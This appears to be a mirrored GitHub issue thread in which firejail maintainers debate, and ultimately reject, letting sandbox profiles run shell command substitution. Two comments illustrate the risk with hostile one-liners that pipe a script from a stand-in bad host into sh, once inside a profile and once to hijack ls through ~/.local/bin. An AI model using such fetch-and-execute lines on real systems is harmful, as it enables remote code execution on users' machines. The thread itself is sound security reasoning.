[GH-ISSUE #2607] [feature request] profiles that execute code (e.g. for dynamic soft-coded directories) #1653

Closed
opened 2026-05-05 08:18:04 -06:00 by gitea-mirror · 16 comments
Owner

Originally created by @ghost on GitHub (Mar 18, 2019).
Original GitHub issue: https://github.com/netblue30/firejail/issues/2607

Some software packages come with a configuration parsing tool. For example, Postfix comes with postconf. So script for postfix/smtp might look like this:

firejail --net=vnet0 --dns="$(ip address show dev vnet0 | awk '/inet\>/{gsub(/[/].*/,""); print $2 }')"\
         --profile=smtp.profile\
         --writable-var --whitelist="$(postconf -h queue_directory)" --whitelist="$(postconf -h data_directory)"\
         "$exec_smtp" "$@"

In principle, the --whitelist="$(postconf -h queue_directory)" option should be in the smtp.profile because it's not particular to the script (it should be defined that way for all postfix/smtp invocations). But profiles require hard-coded literal pathnames. This means when someone contributes a profile to the firejail project it makes assumptions about someone else's directory organization.

There is also an update anomaly. If paths are hard-coded and someone moves something, they have to change it in the configuration of that tool and also in the firejail profile. They should only be changing it in the tool's config and firejail should be able to use command substitution in the profile ultimately to parse a config file using sed or awk.

Originally created by @ghost on GitHub (Mar 18, 2019). Original GitHub issue: https://github.com/netblue30/firejail/issues/2607 Some software packages come with a configuration parsing tool. For example, Postfix comes with `postconf`. So script for postfix/smtp might look like this: ``` firejail --net=vnet0 --dns="$(ip address show dev vnet0 | awk '/inet\>/{gsub(/[/].*/,""); print $2 }')"\ --profile=smtp.profile\ --writable-var --whitelist="$(postconf -h queue_directory)" --whitelist="$(postconf -h data_directory)"\ "$exec_smtp" "$@" ``` In principle, the `--whitelist="$(postconf -h queue_directory)"` option should be in the `smtp.profile` because it's not particular to the script (it should be defined that way for all postfix/smtp invocations). But profiles require hard-coded literal pathnames. This means when someone contributes a profile to the firejail project it makes assumptions about someone else's directory organization. There is also an update anomaly. If paths are hard-coded and someone moves something, they have to change it in the configuration of that tool and also in the firejail profile. They should only be changing it in the tool's config and firejail should be able to use command substitution in the profile ultimately to parse a config file using `sed` or `awk`.
Author
Owner

@Hocuri commented on GitHub (Mar 24, 2019):

The downside would be: We might need to care about malicious profiles. Like, someone could publish a profile that contains whitelist "$(curl something.bad.com/script|sh)" to download and execute malware

<!-- gh-comment-id:475969613 --> @Hocuri commented on GitHub (Mar 24, 2019): The downside would be: We might need to care about malicious profiles. Like, someone could publish a profile that contains `whitelist "$(curl something.bad.com/script|sh)"` to download and execute malware
Author
Owner

@ghost commented on GitHub (Mar 24, 2019):

It's no more risky than malicious code inserted in the firejail code. In fact, considering something like curl in a profile would stand out like Donald Trump at a reggae festival, I would be generally worried if such malicious code could pass code review.

It's common for advanced tools to support command substitution in the config. Mutt and procmail would be quite powerless if they didn't have command substitution. With pre-packaged firejail profiles a paranoid policy might entail requiring all command substitutions to be commented out and effective out-of-the-box specs to all be common literals. The parser could even run the commands in a firejail --net=none, since a majority of cases will be sed and awk operating on local files.

In any case, there are no obvious show-stopper security issues. And the status quo is also a bit incorrect to make assumptions about how users organize their filesystems.

(edit) notice how I wrote a proposed postfix/smtp profile:
https://github.com/netblue30/firejail/issues/1139#issuecomment-474121052

It must be static paths by today's code, but a commented out script is included so users can ensure that the paths are in lockstep with the postfix configs to avoid an update anomaly.

<!-- gh-comment-id:475990891 --> @ghost commented on GitHub (Mar 24, 2019): It's no more risky than malicious code inserted in the `firejail` code. In fact, considering something like curl in a profile would stand out like Donald Trump at a reggae festival, I would be generally worried if such malicious code could pass code review. It's common for advanced tools to support command substitution in the config. Mutt and procmail would be quite powerless if they didn't have command substitution. With pre-packaged firejail profiles a paranoid policy might entail requiring all command substitutions to be commented out and effective out-of-the-box specs to all be common literals. The parser could even run the commands in a `firejail --net=none`, since a majority of cases will be `sed` and `awk` operating on local files. In any case, there are no obvious show-stopper security issues. And the status quo is also a bit incorrect to make assumptions about how users organize their filesystems. (edit) notice how I wrote a proposed postfix/smtp profile: https://github.com/netblue30/firejail/issues/1139#issuecomment-474121052 It must be static paths by today's code, but a commented out script is included so users can ensure that the paths are in lockstep with the postfix configs to avoid an update anomaly.
Author
Owner

@rusty-snake commented on GitHub (Apr 20, 2019):

I would be generally worried if such malicious code could pass code review.

in this repo yes, but there are also profiles created by users and distributed in other repos or forums.

he parser could even run the commands in a firejail --net=none, since a majority of cases will be sed and awk operating on local files.

What about echo "curl something.bad.com/script|sh" > ~/.local/bin/ls, in some distros will be called at the next call of ls this bad script.

<!-- gh-comment-id:485129194 --> @rusty-snake commented on GitHub (Apr 20, 2019): > I would be generally worried if such malicious code could pass code review. in this repo yes, but there are also profiles created by users and distributed in other repos or forums. > he parser could even run the commands in a `firejail --net=none`, since a majority of cases will be `sed` and `awk` operating on local files. What about `echo "curl something.bad.com/script|sh" > ~/.local/bin/ls`, in some distros will be called at the next call of ls this bad script.
Author
Owner

@ghost commented on GitHub (Apr 20, 2019):

in this repo yes, but there are also profiles created by users and distributed in other repos o

Every distribution has a QA responsibility to ensure it's not distributing anything malicious. This is no different.

What about echo "curl something.bad.com/script|sh" > ~/.local/bin/ls, in some distros will be called at the next call of ls this bad script.

That doesn't pass review. And even with a negligent reviewer ~/.local/bin/ is not in $PATH. It's quite a stretch to think this is an issue in the real world.

<!-- gh-comment-id:485171950 --> @ghost commented on GitHub (Apr 20, 2019): > in this repo yes, but there are also profiles created by users and distributed in other repos o Every distribution has a QA responsibility to ensure it's not distributing anything malicious. This is no different. > What about echo "curl something.bad.com/script|sh" > ~/.local/bin/ls, in some distros will be called at the next call of ls this bad script. That doesn't pass review. And even with a negligent reviewer `~/.local/bin/` is not in `$PATH`. It's quite a stretch to think this is an issue in the real world.
Author
Owner

@rusty-snake commented on GitHub (Apr 21, 2019):

~/.local/bin/ is not in $PATH

depending on the distro.

<!-- gh-comment-id:485236190 --> @rusty-snake commented on GitHub (Apr 21, 2019): > `~/.local/bin/` is not in `$PATH` depending on the distro.
Author
Owner

@Hocuri commented on GitHub (Apr 21, 2019):

Every distribution has a QA responsibility to ensure it's not distributing anything malicious. This is no different.

The attacker could as well distribute the malicious profile using forums,...

<!-- gh-comment-id:485240004 --> @Hocuri commented on GitHub (Apr 21, 2019): > Every distribution has a QA responsibility to ensure it's not distributing anything malicious. This is no different. The attacker could as well distribute the malicious profile using forums,...
Author
Owner

@pizzadude commented on GitHub (Apr 26, 2019):

I don't think this is a good idea.

<!-- gh-comment-id:487232098 --> @pizzadude commented on GitHub (Apr 26, 2019): I don't think this is a good idea.
Author
Owner

@ghost commented on GitHub (Apr 27, 2019):

I don't think this is a good idea.

Yet it remains a bad idea to hard-code values assuming all users have the same file structure, and to fail to make use of configuration tools like postconf to mitigate update anomalies. Please suggest a good idea.

<!-- gh-comment-id:487264066 --> @ghost commented on GitHub (Apr 27, 2019): > I don't think this is a good idea. Yet it remains a bad idea to hard-code values assuming all users have the same file structure, and to fail to make use of configuration tools like `postconf` to mitigate update anomalies. Please suggest a *good idea*.
Author
Owner

@rusty-snake commented on GitHub (Apr 27, 2019):

First, there are .local files to overwrite/append the .profile files
@libBletchley if you need non-hardcoded paths, you can also write a little shell-script for that.
Like: sed "s/$(command --args)/placeholder1/g" < programm.profile.in | sed "s/$(command --args)/placeholder2/g" > programm.profile

<!-- gh-comment-id:487264694 --> @rusty-snake commented on GitHub (Apr 27, 2019): First, there are .local files to overwrite/append the .profile files @libBletchley if you need non-hardcoded paths, you can also write a little shell-script for that. Like: `sed "s/$(command --args)/placeholder1/g" < programm.profile.in | sed "s/$(command --args)/placeholder2/g" > programm.profile`
Author
Owner

@ghost commented on GitHub (Apr 27, 2019):

@rusty-snake Are you suggesting that every user write the same shell code manually?

(edit) and if so, this would escape the review process entirely, no? Also what's to stop someone from posting their malicious version of shell code in a forum (@hocuri's concern)?

<!-- gh-comment-id:487264988 --> @ghost commented on GitHub (Apr 27, 2019): @rusty-snake Are you suggesting that every user write the same shell code manually? (edit) and if so, this would escape the review process entirely, no? Also what's to stop someone from posting their malicious version of shell code in a forum (@hocuri's concern)?
Author
Owner

@rusty-snake commented on GitHub (Apr 27, 2019):

Are you suggesting that every user write the same shell code manually?

It's only a very small part of the FJ users who need this at all.
=> not ever, only a small piece

Also what's to stop someone from posting their malicious version of shell code in a forum

nothing, but if you download and execute any code from the internet (like shell-scripts) then you make something wrong.

<!-- gh-comment-id:487266246 --> @rusty-snake commented on GitHub (Apr 27, 2019): > Are you suggesting that every user write the same shell code manually? It's only a very small part of the FJ users who need this at all. => not ever, only a small piece > Also what's to stop someone from posting their malicious version of shell code in a forum nothing, but if you download and execute any code from the internet (like shell-scripts) then you make something wrong.
Author
Owner

@ghost commented on GitHub (Apr 27, 2019):

It's only a very small part of the FJ users who need this at all.
=> not ever, only a small piece

If the feature existed it would benefit every user who ever edits their target tool configs (who then must remember to replicate the edit in FJ configs), a number of which I think you're underestimating.

What's also being neglected is the security risk of failing to replicate such updates. A blacklisted directory can become unblacklisted inadvertently.

nothing, but if you download and execute any code from the internet (like shell-scripts) then you make something wrong.

I agree, and yet those who worry about that risk believe this is cause to block command substitution. I don't believe the demographic of FJ users are likely to take that risk without inspecting the code.

<!-- gh-comment-id:487266662 --> @ghost commented on GitHub (Apr 27, 2019): > It's only a very small part of the FJ users who need this at all. => not ever, only a small piece If the feature existed it would benefit every user who ever edits their target tool configs (who then must remember to replicate the edit in FJ configs), a number of which I think you're underestimating. What's also being neglected is the security risk of failing to replicate such updates. A blacklisted directory can become unblacklisted inadvertently. > nothing, but if you download and execute any code from the internet (like shell-scripts) then you make something wrong. I agree, and yet those who worry about that risk believe this is cause to block command substitution. I don't believe the demographic of FJ users are likely to take that risk without inspecting the code.
Author
Owner

@Vincent43 commented on GitHub (Apr 27, 2019):

firejail runs as setuid root and it shouldn't execute random code it finds in a profile otherwise any user with access to firejail could run any command as root.

<!-- gh-comment-id:487275636 --> @Vincent43 commented on GitHub (Apr 27, 2019): firejail runs as setuid root and it shouldn't execute random code it finds in a profile otherwise any user with access to firejail could run any command as root.
Author
Owner

@ghost commented on GitHub (Apr 27, 2019):

@Vincent43 Good point but I believe it's possible to fork and then seteuid() in the forked child to reduce privs.

<!-- gh-comment-id:487287793 --> @ghost commented on GitHub (Apr 27, 2019): @Vincent43 Good point but I believe it's possible to fork and then seteuid() in the forked child to reduce privs.
Author
Owner

@rusty-snake commented on GitHub (Apr 27, 2019):

Closing here, because the OP was the onlyone how was positive for this feature and the account was deletet.

<!-- gh-comment-id:487299290 --> @rusty-snake commented on GitHub (Apr 27, 2019): Closing here, because the OP was the onlyone how was positive for this feature and the account was deletet.
Author
Owner

@Vincent43 commented on GitHub (Apr 27, 2019):

Good point but I believe it's possible to fork and then seteuid() in the forked child to reduce privs.

The problem is that it needs root to apply profile rules and setup namespaces,capabilities, mounts and so on. That's why the profile content has to be sanitized and every unknown rule should cause failure.

<!-- gh-comment-id:487309449 --> @Vincent43 commented on GitHub (Apr 27, 2019): > Good point but I believe it's possible to fork and then seteuid() in the forked child to reduce privs. The problem is that it needs root to apply profile rules and setup namespaces,capabilities, mounts and so on. That's why the profile content has to be sanitized and every unknown rule should cause failure.
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference: github-starred/firejail#1653
No description provided.